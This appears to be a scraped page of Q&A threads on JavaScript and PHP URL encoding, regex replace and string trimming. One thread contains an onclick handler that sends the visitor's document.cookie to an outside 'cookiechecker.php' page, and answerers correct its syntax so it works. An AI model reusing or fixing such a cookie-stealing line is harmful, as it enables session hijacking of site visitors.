How do I keep + sign as is in encodeURIComponent("+")? - javascript

In a part of the code I can't change. The function encodeURIComponent() will be executed on the URL i pass in, how ever one of my API calls contains a + sign which is necessary to send as a + sign. Right now it gets replaces "%2B" which makes the API fail..
I have tried using escape and "%2B" and backslash infront of my + sign as "+" but nothing gives so far..
How do I make encodeURIComponent('+') return + and not "%2B"
Thank you affordtime for your help

Temporarily swap out the plus signs for an arbitrary marker, e.g.
encodeURIComponent("one £ + £ two".replace(/\+/g, '*PLUS*')).replace('*PLUS*', '+');
Gives you:
"one%20%C2%A3%20+%20%C2%A3%20two"
...ie retains the +, which will also survive the reverse trip via decodeURIComponent().

You can't do it without changing the code. encodeURIComponent will never output a + sign.
If you or someone else can change the code you could use this answer:
encodeURIComponent(search).replace(/%20/g, "+");
and then use spaces in the input where you want + to be.

It is not usually recommended to overwrite native functions but you could do this which would redefined encodeURIComponent to not escape plus characters but otherwise escape the same set of characters.
function encodeURIComponent(s) {
// encodeURI leaves these chars untouched ##$&=:/,;?+
return encodeURI(s).replace(/[##$&=:\/,;?]/g, function(c) {
return '%'+c.charCodeAt(0).toString(16)
})
}

As you can't change the behavior of encodeURIComponent, the simplest way is to replace %2B-s back to +-es:
encodeURIComponent('1+2=3').replace(/%2B/g, '+') //1+2%3D3
This is more efficient, as it needs a single replacement, and doesn't need intermediate "escaping", and simpler, as you don't have to reimplement encodeURIComponent and using the native one might be even faster for large strings.

Related

How to make replace() global in JavaScript

I know this question had been asked lot of time but i could not find solution. I have some smilies which each of them has code to be rendered as smiley using replace() , but I get syntax error, I don't know why and how to render my code :/ to smiley
txt = " Hi :/ ";
txt.replace("/\:/\/g","<img src='img/smiley.gif'>");
Your regular expression doesn't need to be in quotes. You should escape the correct / forward slash (you were escaping the wrong slash) and assign the replacement, since .replace doesn't modify the original string.
txt = " Hi :/ ";
txt = txt.replace(/:\//g,"<img src='img/smiley.gif'>");
Based on jonatjano's brilliant deduction, I think you should add a little more to the regular expression to avoid such calamities as interfering with URLs.
txt = txt.replace(/:\/(?!/)/g,"<img src='img/smiley.gif'>");
The above ensures that :// is not matched by doing a negative-lookahead.
There are two problems in the first argument of replace() it escapes the wrong characters and it uses a string that seems to contain a regex instead of a real RegExp.
The second line should read:
txt.replace(/:\//g,"<img src='img/smiley.gif'>");
/:\//g is the regex. The first and the last / are the RegExp delimiters, g is the "global" RegExp option (String.replace() needs a RegExp instead of a string to do a global replace).
The content of the regex is :/ (the string you want to find) but because / has a special meaning in a RegExp (see above), it needs to be escaped and it becomes :\/.

PHP rawurldecode does not decode single ticks

Since the escape function is deprecated, I created this function as it is used throughout my website and it would be tedious to replace every occurence.
function escape(text) {
text = text.replace(/'/g, "%27");
return encodeURI(text);
}
This changes a string such as This is Ben's bookcase into This%20is%20Ben%2527s%20Bookcase.
When I try to decode this in PHP, using rawurldecode(), I end up with this This is
Ben%27s Bookcase.
How can I make urldecode in PHP decode single ticks?
You are doing it wrong.
The original character ' is turned into %27, and then the percent sign is turned into %25. This second step must not happen.
If you want to encode everything else, and then also single quotes, first call encodeURI, then replace.
That way, ' will return unaltered from escaping, and then be transformed into %27, with no further changes.
PHP can then decode the string properly.

Does it matter the different behavior between PHP `rawurlencode` and JS `encodeURIComponent`?

According to https://stackoverflow.com/a/1734255/1529630, encodeURIComponent is the same as rawurlencode, but !*'() aren't escaped, e.g.,
function encodeURIComponent($str) {
$revert = array('%21'=>'!', '%2A'=>'*', '%27'=>"'", '%28'=>'(', '%29'=>')');
return strtr(rawurlencode($str), $revert);
}
But then, does it matter that difference?
Normally, I use something like
In JS
wrapper.innerHTML = 'Link';
In PHP
echo 'Link';
If then, in foo.php, I use $_GET['bar'], is it possible to get different results, due to the difference between encodeURIComponent and rawurlencode?
You only need to escape characters that can have special uses within the code.
For example the following can be used to ask the code to do a mathematical comparison or calcuation -
< , > , + , - , / , =
then there's reserved characters specific to URL creation such as -
? , # , %, #
The characters !*'() have no special meaning and so won't be misinterpreted so don't need escaping. You can however escape characters unnecessarily so it might look like a different result, but it would mean/do the same thing.
This has a more thorough breakdown - http://www.blooberry.com/indexdot/html/topics/urlencoding.htm

Alternative for the + sign in javascript

So, I've been doing JavaScript for a while now and stumbled upon a problem. When I tried to do a hyperlink with JavaScript encoded into it, the plus sign just disappears and the hyperlink for the JavaScript code doesn't work. So, is there an alternate sign for the plus sign in JavaScript? Is there another sign I can use that does the same functions as a plus sign?
Here is my code:
onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);"
Please replace the "+" with its HEX equivalent, "%2B".
Try this (removing a semicolon):
onclick="document.location='site.com/cookiechecker.php?cookie='+escape(document.cookie);"
%2b is the hex value for "+". (You may have seen %20 in the address bar before.. Same idea)
You have a semicolon in there that you need to remove:
onclick="document.location='site.com/cookiechecker.php?cookie='+escape(document.cookie);"
That semicolon causes the JavaScript to treat your expression as two separate statements instead of one. It's the equivalent of:
document.location = 'site.com/cookiechecker.php?cookie=';
escape(document.cookie);
Your code is this:
onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);"
This means your event handler is this (in expanded form):
document.location = 'site.com/cookiechecker.php?cookie=';
+escape(document.cookie);
This is not what you want. Remove the semicolon which is separating the two statements.
Also, you are almost certain to be wanting http:// at the start of the document.location value.
Final value:
onclick="document.location='http://site.com/cookiechecker.php?cookie='+escape(document.cookie);"

jquery or javascript trim or substr

var str='userkwd* type:"Office"';
How do I trim or substr or slice this string to only get 'userkwd'? Also the variable will have quotes as part of it..This one is tricky as if there is no userkwd .i.e. if
var str=' type:"Office"';
it should return null. The * gets appended with userkwd from inputbox..
str.slice(0,str.indexOf('*')); ???
str.split("*")[0]; ????
str.substring(0, str.indexOf('*')); ???
Which one?
str.replace(/\*? type.*/, '');
The answer is trivial. Think if userkwd can contain " ", for example "user kwd". If so, then you cannot use split(" "). If userkwd could contain additional * like user*kwd then you cannot use this character. If the keyword could contain both spaces and * then you should use different method, for example some more complicated regular expression, but try to evalute your suggested methods first.
By the way, in the scenario you have given var str=' type:"Office"'; there is no userkwd at all, there is also no *, so you definitely should not use * if this is valid example. Space seaprator however holds, so I would go for it if possible.
You can also try to find the last occurance of "type:" and get everything what is before it, if empty then change it to null, or something like this. There are really a lot of possibilities, we do not have enough information why you need this functionality and what could be the input...

Categories